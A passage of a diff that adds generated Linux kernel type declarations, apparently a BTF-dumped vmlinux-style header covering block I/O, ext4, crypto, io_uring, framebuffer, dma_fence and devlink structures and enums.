(*wake)(); + void (*restore_early)(); + void (*restore)(); + void (*end)(); +}; + +enum { + TEST_NONE = 0, + TEST_CORE = 1, + TEST_CPUS = 2, + TEST_PLATFORM = 3, + TEST_DEVICES = 4, + TEST_FREEZER = 5, + __TEST_AFTER_LAST = 6, +}; + +enum error_detector { + ERROR_DETECTOR_KFENCE = 0, + ERROR_DETECTOR_KASAN = 1, + ERROR_DETECTOR_WARN = 2, +}; + +struct trace_event_raw_error_report_template { + struct trace_entry ent; + enum error_detector error_detector; + long unsigned int id; + char __data[0]; +}; + +struct trace_event_data_offsets_error_report_template {}; + +typedef void (*btf_trace_error_report_end)(void *, enum error_detector, long unsigned int); + +struct bpf_iter_seq_map_info { + u32 map_id; +}; + +struct bpf_iter__bpf_map { + union { + struct bpf_iter_meta *meta; + }; + union { + struct bpf_map *map; + }; +}; + +enum { + BIO_NO_PAGE_REF = 0, + BIO_CLONED = 1, + BIO_BOUNCED = 2, + BIO_QUIET = 3, + BIO_CHAIN = 4, + BIO_REFFED = 5, + BIO_BPS_THROTTLED = 6, + BIO_TRACE_COMPLETION = 7, + BIO_CGROUP_ACCT = 8, + BIO_QOS_THROTTLED = 9, + BIO_QOS_MERGED = 10, + BIO_REMAPPED = 11, + BIO_ZONE_WRITE_LOCKED = 12, + BIO_FLAG_LAST = 13, +}; + +struct swap_iocb { + struct kiocb iocb; + struct bio_vec bvec[32]; + int pages; + int len; +}; + +enum { + SWP_USED = 1, + SWP_WRITEOK = 2, + SWP_DISCARDABLE = 4, + SWP_DISCARDING = 8, + SWP_SOLIDSTATE = 16, + SWP_CONTINUED = 32, + SWP_BLKDEV = 64, + SWP_ACTIVATED = 128, + SWP_FS_OPS = 256, + SWP_AREA_DISCARD = 512, + SWP_PAGE_DISCARD = 1024, + SWP_STABLE_WRITES = 2048, + SWP_SYNCHRONOUS_IO = 4096, + SWP_SCANNING = 16384, +}; + +struct page_reporting_dev_info { + int (*report)(struct page_reporting_dev_info *, struct scatterlist *, unsigned int); + struct delayed_work work; + atomic_t state; + unsigned int order; +}; + +enum { + PAGE_REPORTING_IDLE = 0, + PAGE_REPORTING_REQUESTED = 1, + PAGE_REPORTING_ACTIVE = 2, +}; + +struct iomap_dio_ops { + int (*end_io)(struct kiocb *, ssize_t, int, unsigned int); + void (*submit_io)(const struct iomap_iter *, struct bio *, loff_t); + struct bio_set *bio_set; +}; + +struct iomap_dio { + struct kiocb *iocb; + const struct iomap_dio_ops *dops; + loff_t i_size; + loff_t size; + atomic_t ref; + unsigned int flags; + int error; + size_t done_before; + bool wait_for_completion; + union { + struct { + struct iov_iter *iter; + struct task_struct *waiter; + struct bio *poll_bio; + } submit; + struct { + struct work_struct work; + } aio; + }; +}; + +struct fscrypt_str { + unsigned char *name; + u32 len; +}; + +struct ext4_dir_entry_hash { + __le32 hash; + __le32 minor_hash; +}; + +struct ext4_dir_entry_2 { + __le32 inode; + __le16 rec_len; + __u8 name_len; + __u8 file_type; + char name[255]; +}; + +struct dx_hash_info { + u32 hash; + u32 minor_hash; + int hash_version; + u32 *seed; +}; + +struct ext4_filename { + const struct qstr *usr_fname; + struct fscrypt_str disk_name; + struct dx_hash_info hinfo; +}; + +struct ext4_xattr_ibody_header { + __le32 h_magic; +}; + +struct ext4_xattr_entry { + __u8 e_name_len; + __u8 e_name_index; + __le16 e_value_offs; + __le32 e_value_inum; + __le32 e_value_size; + __le32 e_hash; + char e_name[0]; +}; + +struct ext4_xattr_info { + const char *name; + const void *value; + size_t value_len; + int name_index; + int in_inode; +}; + +struct ext4_xattr_search { + struct ext4_xattr_entry *first; + void *base; + void *end; + struct ext4_xattr_entry *here; + int not_found; +}; + +struct ext4_xattr_ibody_find { + struct ext4_xattr_search s; + struct ext4_iloc iloc; +}; + +struct scatter_walk { + struct scatterlist *sg; + unsigned int offset; +}; + +struct crypto_cipher { + struct crypto_tfm base; +}; + +struct crypto_cipher_spawn { + struct crypto_spawn base; +}; + +struct skcipher_instance { + void (*free)(struct skcipher_instance *); + union { + struct { + char head[64]; + struct crypto_instance base; + } s; + struct skcipher_alg alg; + }; +}; + +struct skcipher_walk { + union { + struct { + struct page *page; + long unsigned int offset; + } phys; + struct { + u8 *page; + void *addr; + } virt; + } src; + union { + struct { + struct page *page; + long unsigned int offset; + } phys; + struct { + u8 *page; + void *addr; + } virt; + } dst; + struct scatter_walk in; + unsigned int nbytes; + struct scatter_walk out; + unsigned int total; + struct list_head buffers; + u8 *page; + u8 *buffer; + u8 *oiv; + void *iv; + unsigned int ivsize; + int flags; + unsigned int blocksize; + unsigned int stride; + unsigned int alignmask; +}; + +struct skcipher_ctx_simple { + struct crypto_cipher *cipher; +}; + +struct RigidDiskBlock { + __u32 rdb_ID; + __be32 rdb_SummedLongs; + __s32 rdb_ChkSum; + __u32 rdb_HostID; + __be32 rdb_BlockBytes; + __u32 rdb_Flags; + __u32 rdb_BadBlockList; + __be32 rdb_PartitionList; + __u32 rdb_FileSysHeaderList; + __u32 rdb_DriveInit; + __u32 rdb_Reserved1[6]; + __u32 rdb_Cylinders; + __u32 rdb_Sectors; + __u32 rdb_Heads; + __u32 rdb_Interleave; + __u32 rdb_Park; + __u32 rdb_Reserved2[3]; + __u32 rdb_WritePreComp; + __u32 rdb_ReducedWrite; + __u32 rdb_StepRate; + __u32 rdb_Reserved3[5]; + __u32 rdb_RDBBlocksLo; + __u32 rdb_RDBBlocksHi; + __u32 rdb_LoCylinder; + __u32 rdb_HiCylinder; + __u32 rdb_CylBlocks; + __u32 rdb_AutoParkSeconds; + __u32 rdb_HighRDSKBlock; + __u32 rdb_Reserved4; + char rdb_DiskVendor[8]; + char rdb_DiskProduct[16]; + char rdb_DiskRevision[4]; + char rdb_ControllerVendor[8]; + char rdb_ControllerProduct[16]; + char rdb_ControllerRevision[4]; + __u32 rdb_Reserved5[10]; +}; + +struct PartitionBlock { + __be32 pb_ID; + __be32 pb_SummedLongs; + __s32 pb_ChkSum; + __u32 pb_HostID; + __be32 pb_Next; + __u32 pb_Flags; + __u32 pb_Reserved1[2]; + __u32 pb_DevFlags; + __u8 pb_DriveName[32]; + __u32 pb_Reserved2[15]; + __be32 pb_Environment[17]; + __u32 pb_EReserved[15]; +}; + +struct parsed_partitions { + struct gendisk *disk; + char name[32]; + struct { + sector_t from; + sector_t size; + int flags; + bool has_info; + struct partition_meta_info info; + } *parts; + int next; + int limit; + bool access_beyond_eod; + char *pp_buf; +}; + +typedef struct { + struct folio *v; +} Sector; + +struct io_uring_rsrc_register { + __u32 nr; + __u32 flags; + __u64 resv2; + __u64 data; + __u64 tags; +}; + +struct io_uring_rsrc_update2 { + __u32 offset; + __u32 resv; + __u64 data; + __u64 tags; + __u32 nr; + __u32 resv2; +}; + +struct unix_skb_parms { + struct pid *pid; + kuid_t uid; + kgid_t gid; + struct scm_fp_list *fp; + u32 secid; + u32 consumed; +}; + +enum { + IORING_RSRC_FILE = 0, + IORING_RSRC_BUFFER = 1, +}; + +struct io_rsrc_update { + struct file *file; + u64 arg; + u32 nr_args; + u32 offset; +}; + +enum { + pci_channel_io_normal = 1, + pci_channel_io_frozen = 2, + pci_channel_io_perm_failure = 3, +}; + +enum pci_ers_result { + PCI_ERS_RESULT_NONE = 1, + PCI_ERS_RESULT_CAN_RECOVER = 2, + PCI_ERS_RESULT_NEED_RESET = 3, + PCI_ERS_RESULT_DISCONNECT = 4, + PCI_ERS_RESULT_RECOVERED = 5, + PCI_ERS_RESULT_NO_AER_DRIVER = 6, +}; + +struct pcie_device { + int irq; + struct pci_dev *port; + u32 service; + void *priv_data; + struct device device; +}; + +struct pcie_port_service_driver { + const char *name; + int (*probe)(struct pcie_device *); + void (*remove)(struct pcie_device *); + int (*suspend)(struct pcie_device *); + int (*resume_noirq)(struct pcie_device *); + int (*resume)(struct pcie_device *); + int (*runtime_suspend)(struct pcie_device *); + int (*runtime_resume)(struct pcie_device *); + int (*slot_reset)(struct pcie_device *); + int port_type; + u32 service; + struct device_driver driver; +}; + +struct portdrv_service_data { + struct pcie_port_service_driver *drv; + struct device *dev; + u32 service; +}; + +typedef int (*pcie_callback_t)(struct pcie_device *); + +typedef unsigned char u_char; + +typedef short unsigned int u_short; + +struct fb_fix_screeninfo { + char id[16]; + long unsigned int smem_start; + __u32 smem_len; + __u32 type; + __u32 type_aux; + __u32 visual; + __u16 xpanstep; + __u16 ypanstep; + __u16 ywrapstep; + __u32 line_length; + long unsigned int mmio_start; + __u32 mmio_len; + __u32 accel; + __u16 capabilities; + __u16 reserved[2]; +}; + +struct fb_bitfield { + __u32 offset; + __u32 length; + __u32 msb_right; +}; + +struct fb_var_screeninfo { + __u32 xres; + __u32 yres; + __u32 xres_virtual; + __u32 yres_virtual; + __u32 xoffset; + __u32 yoffset; + __u32 bits_per_pixel; + __u32 grayscale; + struct fb_bitfield red; + struct fb_bitfield green; + struct fb_bitfield blue; + struct fb_bitfield transp; + __u32 nonstd; + __u32 activate; + __u32 height; + __u32 width; + __u32 accel_flags; + __u32 pixclock; + __u32 left_margin; + __u32 right_margin; + __u32 upper_margin; + __u32 lower_margin; + __u32 hsync_len; + __u32 vsync_len; + __u32 sync; + __u32 vmode; + __u32 rotate; + __u32 colorspace; + __u32 reserved[4]; +}; + +struct fb_cmap { + __u32 start; + __u32 len; + __u16 *red; + __u16 *green; + __u16 *blue; + __u16 *transp; +}; + +struct fb_copyarea { + __u32 dx; + __u32 dy; + __u32 width; + __u32 height; + __u32 sx; + __u32 sy; +}; + +struct fb_fillrect { + __u32 dx; + __u32 dy; + __u32 width; + __u32 height; + __u32 color; + __u32 rop; +}; + +struct fb_image { + __u32 dx; + __u32 dy; + __u32 width; + __u32 height; + __u32 fg_color; + __u32 bg_color; + __u8 depth; + const char *data; + struct fb_cmap cmap; +}; + +struct fbcurpos { + __u16 x; + __u16 y; +}; + +struct fb_cursor { + __u16 set; + __u16 enable; + __u16 rop; + const char *mask; + struct fbcurpos hot; + struct fb_image image; +}; + +struct fb_chroma { + __u32 redx; + __u32 greenx; + __u32 bluex; + __u32 whitex; + __u32 redy; + __u32 greeny; + __u32 bluey; + __u32 whitey; +}; + +struct fb_monspecs { + struct fb_chroma chroma; + struct fb_videomode *modedb; + __u8 manufacturer[4]; + __u8 monitor[14]; + __u8 serial_no[14]; + __u8 ascii[14]; + __u32 modedb_len; + __u32 model; + __u32 serial; + __u32 year; + __u32 week; + __u32 hfmin; + __u32 hfmax; + __u32 dclkmin; + __u32 dclkmax; + __u16 input; + __u16 dpms; + __u16 signal; + __u16 vfmin; + __u16 vfmax; + __u16 gamma; + __u16 gtf: 1; + __u16 misc; + __u8 version; + __u8 revision; + __u8 max_x; + __u8 max_y; +}; + +struct fb_info; + +struct fb_pixmap { + u8 *addr; + u32 size; + u32 offset; + u32 buf_align; + u32 scan_align; + u32 access_align; + u32 flags; + u32 blit_x; + u32 blit_y; + void (*writeio)(struct fb_info *, void *, void *, unsigned int); + void (*readio)(struct fb_info *, void *, void *, unsigned int); +}; + +struct fb_ops; + +struct fb_tile_ops; + +struct fb_info { + refcount_t count; + int node; + int flags; + int fbcon_rotate_hint; + struct mutex lock; + struct mutex mm_lock; + struct fb_var_screeninfo var; + struct fb_fix_screeninfo fix; + struct fb_monspecs monspecs; + struct fb_pixmap pixmap; + struct fb_pixmap sprite; + struct fb_cmap cmap; + struct list_head modelist; + struct fb_videomode *mode; + const struct fb_ops *fbops; + struct device *device; + struct device *dev; + int class_flag; + struct fb_tile_ops *tileops; + union { + char *screen_base; + char *screen_buffer; + }; + long unsigned int screen_size; + void *pseudo_palette; + u32 state; + void *fbcon_par; + void *par; + bool skip_vt_switch; +}; + +struct fb_blit_caps { + u32 x; + u32 y; + u32 len; + u32 flags; +}; + +struct fb_ops { + struct module *owner; + int (*fb_open)(struct fb_info *, int); + int (*fb_release)(struct fb_info *, int); + ssize_t (*fb_read)(struct fb_info *, char *, size_t, loff_t *); + ssize_t (*fb_write)(struct fb_info *, const char *, size_t, loff_t *); + int (*fb_check_var)(struct fb_var_screeninfo *, struct fb_info *); + int (*fb_set_par)(struct fb_info *); + int (*fb_setcolreg)(unsigned int, unsigned int, unsigned int, unsigned int, unsigned int, struct fb_info *); + int (*fb_setcmap)(struct fb_cmap *, struct fb_info *); + int (*fb_blank)(int, struct fb_info *); + int (*fb_pan_display)(struct fb_var_screeninfo *, struct fb_info *); + void (*fb_fillrect)(struct fb_info *, const struct fb_fillrect *); + void (*fb_copyarea)(struct fb_info *, const struct fb_copyarea *); + void (*fb_imageblit)(struct fb_info *, const struct fb_image *); + int (*fb_cursor)(struct fb_info *, struct fb_cursor *); + int (*fb_sync)(struct fb_info *); + int (*fb_ioctl)(struct fb_info *, unsigned int, long unsigned int); + int (*fb_compat_ioctl)(struct fb_info *, unsigned int, long unsigned int); + int (*fb_mmap)(struct fb_info *, struct vm_area_struct *); + void (*fb_get_caps)(struct fb_info *, struct fb_blit_caps *, struct fb_var_screeninfo *); + void (*fb_destroy)(struct fb_info *); + int (*fb_debug_enter)(struct fb_info *); + int (*fb_debug_leave)(struct fb_info *); +}; + +struct fb_tilemap { + __u32 width; + __u32 height; + __u32 depth; + __u32 length; + const __u8 *data; +}; + +struct fb_tilerect { + __u32 sx; + __u32 sy; + __u32 width; + __u32 height; + __u32 index; + __u32 fg; + __u32 bg; + __u32 rop; +}; + +struct fb_tilearea { + __u32 sx; + __u32 sy; + __u32 dx; + __u32 dy; + __u32 width; + __u32 height; +}; + +struct fb_tileblit { + __u32 sx; + __u32 sy; + __u32 width; + __u32 height; + __u32 fg; + __u32 bg; + __u32 length; + __u32 *indices; +}; + +struct fb_tilecursor { + __u32 sx; + __u32 sy; + __u32 mode; + __u32 shape; + __u32 fg; + __u32 bg; +}; + +struct fb_tile_ops { + void (*fb_settile)(struct fb_info *, struct fb_tilemap *); + void (*fb_tilecopy)(struct fb_info *, struct fb_tilearea *); + void (*fb_tilefill)(struct fb_info *, struct fb_tilerect *); + void (*fb_tileblit)(struct fb_info *, struct fb_tileblit *); + void (*fb_tilecursor)(struct fb_info *, struct fb_tilecursor *); + int (*fb_get_tilemax)(struct fb_info *); +}; + +struct fbcon_display { + const u_char *fontdata; + int userfont; + u_short inverse; + short int yscroll; + int vrows; + int cursor_shape; + int con_rotate; + u32 xres_virtual; + u32 yres_virtual; + u32 height; + u32 width; + u32 bits_per_pixel; + u32 grayscale; + u32 nonstd; + u32 accel_flags; + u32 rotate; + struct fb_bitfield red; + struct fb_bitfield green; + struct fb_bitfield blue; + struct fb_bitfield transp; + const struct fb_videomode *mode; +}; + +struct fbcon_ops { + void (*bmove)(struct vc_data *, struct fb_info *, int, int, int, int, int, int); + void (*clear)(struct vc_data *, struct fb_info *, int, int, int, int); + void (*putcs)(struct vc_data *, struct fb_info *, const short unsigned int *, int, int, int, int, int); + void (*clear_margins)(struct vc_data *, struct fb_info *, int, int); + void (*cursor)(struct vc_data *, struct fb_info *, int, int, int); + int (*update_start)(struct fb_info *); + int (*rotate_font)(struct fb_info *, struct vc_data *); + struct fb_var_screeninfo var; + struct delayed_work cursor_work; + struct fb_cursor cursor_state; + struct fbcon_display *p; + struct fb_info *info; + int currcon; + int cur_blink_jiffies; + int cursor_flash; + int cursor_reset; + int blank_state; + int graphics; + int save_graphics; + bool initialized; + int rotate; + int cur_rotate; + char *cursor_data; + u8 *fontbuffer; + u8 *fontdata; + u8 *cursor_src; + u32 cursor_size; + u32 fd_size; +}; + +struct acpi_pci_link_irq { + u32 active; + u8 triggering; + u8 polarity; + u8 resource_type; + u8 possible_count; + u32 possible[16]; + u8 initialized: 1; + u8 reserved: 7; +}; + +struct acpi_pci_link { + struct list_head list; + struct acpi_device *device; + struct acpi_pci_link_irq irq; + int refcnt; +}; + +struct aper_size_info_fixed { + int size; + int num_entries; + int page_order; +}; + +struct intel_gtt_driver { + unsigned int gen: 8; + unsigned int is_g33: 1; + unsigned int is_pineview: 1; + unsigned int is_ironlake: 1; + unsigned int has_pgtbl_enable: 1; + unsigned int dma_mask_size: 8; + int (*setup)(); + void (*cleanup)(); + void (*write_entry)(dma_addr_t, unsigned int, unsigned int); + bool (*check_flags)(unsigned int); + void (*chipset_flush)(); +}; + +struct _intel_private { + const struct intel_gtt_driver *driver; + struct pci_dev *pcidev; + struct pci_dev *bridge_dev; + u8 *registers; + phys_addr_t gtt_phys_addr; + u32 PGETBL_save; + u32 *gtt; + bool clear_fake_agp; + int num_dcache_entries; + void *i9xx_flush_page; + char *i81x_gtt_table; + struct resource ifp_resource; + int resource_valid; + struct page *scratch_page; + phys_addr_t scratch_page_dma; + int refcount; + unsigned int needs_dmar: 1; + phys_addr_t gma_bus_addr; + resource_size_t stolen_size; + unsigned int gtt_total_entries; + unsigned int gtt_mappable_entries; +}; + +struct intel_gtt_driver_description { + unsigned int gmch_chip_id; + char *name; + const struct intel_gtt_driver *gtt_driver; +}; + +struct dma_fence_ops; + +struct dma_fence { + spinlock_t *lock; + const struct dma_fence_ops *ops; + union { + struct list_head cb_list; + ktime_t timestamp; + struct callback_head rcu; + }; + u64 context; + u64 seqno; + long unsigned int flags; + struct kref refcount; + int error; +}; + +struct dma_fence_ops { + bool use_64bit_seqno; + const char * (*get_driver_name)(struct dma_fence *); + const char * (*get_timeline_name)(struct dma_fence *); + bool (*enable_signaling)(struct dma_fence *); + bool (*signaled)(struct dma_fence *); + long int (*wait)(struct dma_fence *, bool, long int); + void (*release)(struct dma_fence *); + void (*fence_value_str)(struct dma_fence *, char *, int); + void (*timeline_value_str)(struct dma_fence *, char *, int); + void (*set_deadline)(struct dma_fence *, ktime_t); +}; + +enum dma_fence_flag_bits { + DMA_FENCE_FLAG_SIGNALED_BIT = 0, + DMA_FENCE_FLAG_TIMESTAMP_BIT = 1, + DMA_FENCE_FLAG_ENABLE_SIGNAL_BIT = 2, + DMA_FENCE_FLAG_USER_BITS = 3, +}; + +struct dma_fence_cb; + +typedef void (*dma_fence_func_t)(struct dma_fence *, struct dma_fence_cb *); + +struct dma_fence_cb { + struct list_head node; + dma_fence_func_t func; +}; + +struct dma_fence_chain { + struct dma_fence base; + struct dma_fence *prev; + u64 prev_seqno; + struct dma_fence *fence; + union { + struct dma_fence_cb cb; + struct irq_work work; + }; + spinlock_t lock; +}; + +enum devlink_sb_pool_type { + DEVLINK_SB_POOL_TYPE_INGRESS = 0, + DEVLINK_SB_POOL_TYPE_EGRESS = 1, +}; + +enum devlink_sb_threshold_type { + DEVLINK_SB_THRESHOLD_TYPE_STATIC = 0, + DEVLINK_SB_THRESHOLD_TYPE_DYNAMIC = 1, +}; + +enum devlink_eswitch_mode { + DEVLINK_ESWITCH_MODE_LEGACY = 0, + DEVLINK_ESWITCH_MODE_SWITCHDEV = 1, +}; + +enum devlink_eswitch_encap_mode { + DEVLINK_ESWITCH_ENCAP_MODE_NONE = 0, + DEVLINK_ESWITCH_ENCAP_MODE_BASIC = 1, +}; + +enum devlink_param_cmode { + DEVLINK_PARAM_CMODE_RUNTIME = 0, + DEVLINK_PARAM_CMODE_DRIVERINIT = 1, + DEVLINK_PARAM_CMODE_PERMANENT = 2, + __DEVLINK_PARAM_CMODE_MAX = 3, + DEVLINK_PARAM_CMODE_MAX = 2, +}; + +enum devlink_selftest_status { + DEVLINK_SELFTEST_STATUS_SKIP = 0, + DEVLINK_SELFTEST_STATUS_PASS = 1, + DEVLINK_SELFTEST_STATUS_FAIL = 2, +}; + +enum devlink_trap_action { + DEVLINK_TRAP_ACTION_DROP = 0, + DEVLINK_TRAP_ACTION_TRAP = 1, + DEVLINK_TRAP_ACTION_MIRROR = 2, +}; + +enum devlink_trap_type { + DEVLINK_TRAP_TYPE_DROP = 0, + DEVLINK_TRAP_TYPE_EXCEPTION = 1, + DEVLINK_TRAP_TYPE_CONTROL = 2, +}; + +enum devlink_reload_action { + DEVLINK_RELOAD_ACTION_UNSPEC = 0, + DEVLINK_RELOAD_ACTION_DRIVER_REINIT = 1, + DEVLINK_RELOAD_ACTION_FW_ACTIVATE = 2, + __DEVLINK_RELOAD_ACTION_MAX = 3, + DEVLINK_RELOAD_ACTION_MAX = 2, +}; + +enum devlink_reload_limit { + DEVLINK_RELOAD_LIMIT_UNSPEC = 0, + DEVLINK_RELOAD_LIMIT_NO_RESET = 1, + __DEVLINK_RELOAD_LIMIT_MAX = 2, + DEVLINK_RELOAD_LIMIT_MAX = 1, +}; + +enum devlink_resource_unit { + DEVLINK_RESOURCE_UNIT_ENTRY = 0, +}; + +enum devlink_port_fn_state { + DEVLINK_PORT_FN_STATE_INACTIVE = 0, + DEVLINK_PORT_FN_STATE_ACTIVE = 1, +}; + +enum devlink_port_fn_opstate { + DEVLINK_PORT_FN_OPSTATE_DETACHED = 0, + DEVLINK_PORT_FN_OPSTATE_ATTACHED = 1, +}; + +struct firmware { + size_t size; + const u8 *data; + void *priv; +}; + +struct devlink_port_new_attrs { + enum devlink_port_flavour flavour; + unsigned int port_index; + u32 controller; + u32 sfnum; + u16 pfnum; + u8 port_index_valid: 1; + u8 controller_valid: 1; + u8 sfnum_valid: 1; +}; + +struct devlink_sb_pool_info { + enum devlink_sb_pool_type pool_type; + u32 size; + enum devlink_sb_threshold_type threshold_type; + u32 cell_size; +}; + +struct devlink_resource_size_params { + u64 size_min; + u64 size_max; + u64 size_granularity; + enum devlink_resource_unit unit; +}; + +enum devlink_param_type { + DEVLINK_PARAM_TYPE_U8 = 0, + DEVLINK_PARAM_TYPE_U16 = 1, + DEVLINK_PARAM_TYPE_U32 = 2, + DEVLINK_PARAM_TYPE_STRING = 3, + DEVLINK_PARAM_TYPE_BOOL = 4, +}; + +union devlink_param_value { + u8 vu8; + u16 vu16; + u32 vu32; + char vstr[32]; + bool vbool; +}; + +struct devlink_param_gset_ctx { + union devlink_param_value val; + enum devlink_param_cmode cmode; +}; + +struct devlink_param { + u32 id; + const char *name; + bool generic; + enum devlink_param_type type; + long unsigned int supported_cmodes; + int (*get)(struct devlink *, u32, struct devlink_param_gset_ctx *); + int (*set)(struct devlink *, u32, struct devlink_param_gset_ctx *); + int (*validate)(struct devlink *, u32, union devlink_param_value, struct netlink_ext_ack *); +}; + +enum devlink_param_generic_id { + DEVLINK_PARAM_GENERIC_ID_INT_ERR_RESET = 0, + DEVLINK_PARAM_GENERIC_ID_MAX_MACS = 1, + DEVLINK_PARAM_GENERIC_ID_ENABLE_SRIOV = 2, + DEVLINK_PARAM_GENERIC_ID_REGION_SNAPSHOT = 3, + DEVLINK_PARAM_GENERIC_ID_IGNORE_ARI = 4, + DEVLINK_PARAM_GENERIC_ID_MSIX_VEC_PER_PF_MAX = 5, + DEVLINK_PARAM_GENERIC_ID_MSIX_VEC_PER_PF_MIN = 6, + DEVLINK_PARAM_GENERIC_ID_FW_LOAD_POLICY = 7, + DEVLINK_PARAM_GENERIC_ID_RESET_DEV_ON_DRV_PROBE = 8, + DEVLINK_PARAM_GENERIC_ID_ENABLE_ROCE = 9, + DEVLINK_PARAM_GENERIC_ID_ENABLE_REMOTE_DEV_RESET = 10, + DEVLINK_PARAM_GENERIC_ID_ENABLE_ETH = 11, + DEVLINK_PARAM_GENERIC_ID_ENABLE_RDMA = 12, + DEVLINK_PARAM_GENERIC_ID_ENABLE_VNET = 13, + DEVLINK_PARAM_GENERIC_ID_ENABLE_IWARP = 14, + DEVLINK_PARAM_GENERIC_ID_IO_EQ_SIZE = 15, + DEVLINK_PARAM_GENERIC_ID_EVENT_EQ_SIZE = 16, + __DEVLINK_PARAM_GENERIC_ID_MAX = 17, + DEVLINK_PARAM_GENERIC_ID_MAX = 16, +}; + +struct devlink_flash_update_params { + const struct firmware *fw; + const char *component; + u32 overwrite_mask; +}; + +struct devlink_region_ops { + const char *name; + void (*destructor)(const void *); + int (*snapshot)(struct devlink *, const struct devlink_region_ops *, struct netlink_ext_ack *, u8 **); + int (*read)(struct devlink *, const struct devlink_region_ops *, struct netlink_ext_ack *, u64, u32, u8 *); + void *priv; +}; + +struct devlink_trap_policer { + u32 id; + u64 init_rate; + u64 init_burst; + u64 max_rate; + u64 min_rate; + u64 max_burst; + u64 min_burst; +}; + +struct devlink_trap_group { + const char *name; + u16 id; + bool generic; + u32 init_policer_id; +}; + +struct devlink_trap { + enum devlink_trap_type type; + enum devlink_trap_action init_action; + bool generic; + u16 id; + const char *name; + u16 init_group_id; + u32 metadata_cap; +}; + +enum devlink_trap_generic_id { + DEVLINK_TRAP_GENERIC_ID_SMAC_MC = 0, + DEVLINK_TRAP_GENERIC_ID_VLAN_TAG_MISMATCH = 1, + DEVLINK_TRAP_GENERIC_ID_INGRESS_VLAN_FILTER = 2, + DEVLINK_TRAP_GENERIC_ID_INGRESS_STP_FILTER = 3, + DEVLINK_TRAP_GENERIC_ID_EMPTY_TX_LIST = 4, + DEVLINK_TRAP_GENERIC_ID_PORT_LOOPBACK_FILTER = 5, + DEVLINK_TRAP_GENERIC_ID_BLACKHOLE_ROUTE = 6, + DEVLINK_TRAP_GENERIC_ID_TTL_ERROR = 7, + DEVLINK_TRAP_GENERIC_ID_TAIL_DROP = 8, + DEVLINK_TRAP_GENERIC_ID_NON_IP_PACKET = 9, + DEVLINK_TRAP_GENERIC_ID_UC_DIP_MC_DMAC = 10, + DEVLINK_TRAP_GENERIC_ID_DIP_LB = 11, + DEVLINK_TRAP_GENERIC_ID_SIP_MC = 12, + DEVLINK_TRAP_GENERIC_ID_SIP_LB = 13, + DEVLINK_TRAP_GENERIC_ID_CORRUPTED_IP_HDR = 14, + DEVLINK_TRAP_GENERIC_ID_IPV4_SIP_BC = 15, + DEVLINK_TRAP_GENERIC_ID_IPV6_MC_DIP_RESERVED_SCOPE = 16, + DEVLINK_TRAP_GENERIC_ID_IPV6_MC_DIP_INTERFACE_LOCAL_SCOPE = 17, + DEVLINK_TRAP_GENERIC_ID_MTU_ERROR = 18, + DEVLINK_TRAP_GENERIC_ID_UNRESOLVED_NEIGH = 19, + DEVLINK_TRAP_GENERIC_ID_RPF = 20, + DEVLINK_TRAP_GENERIC_ID_REJECT_ROUTE = 21, + DEVLINK_TRAP_GENERIC_ID_IPV4_LPM_UNICAST_MISS = 22, + DEVLINK_TRAP_GENERIC_ID_IPV6_LPM_UNICAST_MISS = 23, + DEVLINK_TRAP_GENERIC_ID_NON_ROUTABLE = 24, + DEVLINK_TRAP_GENERIC_ID_DECAP_ERROR = 25, + DEVLINK_TRAP_GENERIC_ID_OVERLAY_SMAC_MC = 26, + DEVLINK_TRAP_GENERIC_ID_INGRESS_FLOW_ACTION_DROP = 27, + DEVLINK_TRAP_GENERIC_ID_EGRESS_FLOW_ACTION_DROP = 28, + DEVLINK_TRAP_GENERIC_ID_STP = 29, + DEVLINK_TRAP_GENERIC_ID_LACP = 30, + DEVLINK_TRAP_GENERIC_ID_LLDP = 31, + DEVLINK_TRAP_GENERIC_ID_IGMP_QUERY = 32, + DEVLINK_TRAP_GENERIC_ID_IGMP_V1_REPORT = 33, + DEVLINK_TRAP_GENERIC_ID_IGMP_V2_REPORT = 34, + DEVLINK_TRAP_GENERIC_ID_IGMP_V3_REPORT = 35, + DEVLINK_TRAP_GENERIC_ID_IGMP_V2_LEAVE = 36, + DEVLINK_TRAP_GENERIC_ID_MLD_QUERY = 37, + DEVLINK_TRAP_GENERIC_ID_MLD_V1_REPORT = 38, + DEVLINK_TRAP_GENERIC_ID_MLD_V2_REPORT = 39, + DEVLINK_TRAP_GENERIC_ID_MLD_V1_DONE = 40, + DEVLINK_TRAP_GENERIC_ID_IPV4_DHCP = 41, + DEVLINK_TRAP_GENERIC_ID_IPV6_DHCP = 42, + DEVLINK_TRAP_GENERIC_ID_ARP_REQUEST = 43, + DEVLINK_TRAP_GENERIC_ID_ARP_RESPONSE = 44, + DEVLINK_TRAP_GENERIC_ID_ARP_OVERLAY = 45, + DEVLINK_TRAP_GENERIC_ID_IPV6_NEIGH_SOLICIT = 46, + DEVLINK_TRAP_GENERIC_ID_IPV6_NEIGH_ADVERT = 47, + DEVLINK_TRAP_GENERIC_ID_IPV4_BFD = 48, + DEVLINK_TRAP_GENERIC_ID_IPV6_BFD = 49, + DEVLINK_TRAP_GENERIC_ID_IPV4_OSPF = 50, + DEVLINK_TRAP_GENERIC_ID_IPV6_OSPF = 51, + DEVLINK_TRAP_GENERIC_ID_IPV4_BGP = 52, + DEVLINK_TRAP_GENERIC_ID_IPV6_BGP = 53, + DEVLINK_TRAP_GENERIC_ID_IPV4_VRRP = 54, + DEVLINK_TRAP_GENERIC_ID_IPV6_VRRP = 55, + DEVLINK_TRAP_GENERIC_ID_IPV4_PIM = 56, + DEVLINK_TRAP_GENERIC_ID_IPV6_PIM = 57, + DEVLINK_TRAP_GENERIC_ID_UC_LB = 58, + DEVLINK_TRAP_GENERIC_ID_LOCAL_ROUTE = 59, + DEVLINK_TRAP_GENERIC_ID_EXTERNAL_ROUTE = 60, + DEVLINK_TRAP_GENERIC_ID_IPV6_UC_DIP_LINK_LOCAL_SCOPE = 61, + DEVLINK_TRAP_GENERIC_ID_IPV6_DIP_ALL_NODES = 62, + DEVLINK_TRAP_GENERIC_ID_IPV6_DIP_ALL_ROUTERS = 63, + DEVLINK_TRAP_GENERIC_ID_IPV6_ROUTER_SOLICIT = 64, + DEVLINK_TRAP_GENERIC_ID_IPV6_ROUTER_ADVERT = 65, + DEVLINK_TRAP_GENERIC_ID_IPV6_REDIRECT = 66, + DEVLINK_TRAP_GENERIC_ID_IPV4_ROUTER_ALERT = 67, + DEVLINK_TRAP_GENERIC_ID_IPV6_ROUTER_ALERT = 68, + DEVLINK_TRAP_GENERIC_ID_PTP_EVENT = 69, + DEVLINK_TRAP_GENERIC_ID_PTP_GENERAL = 70, + 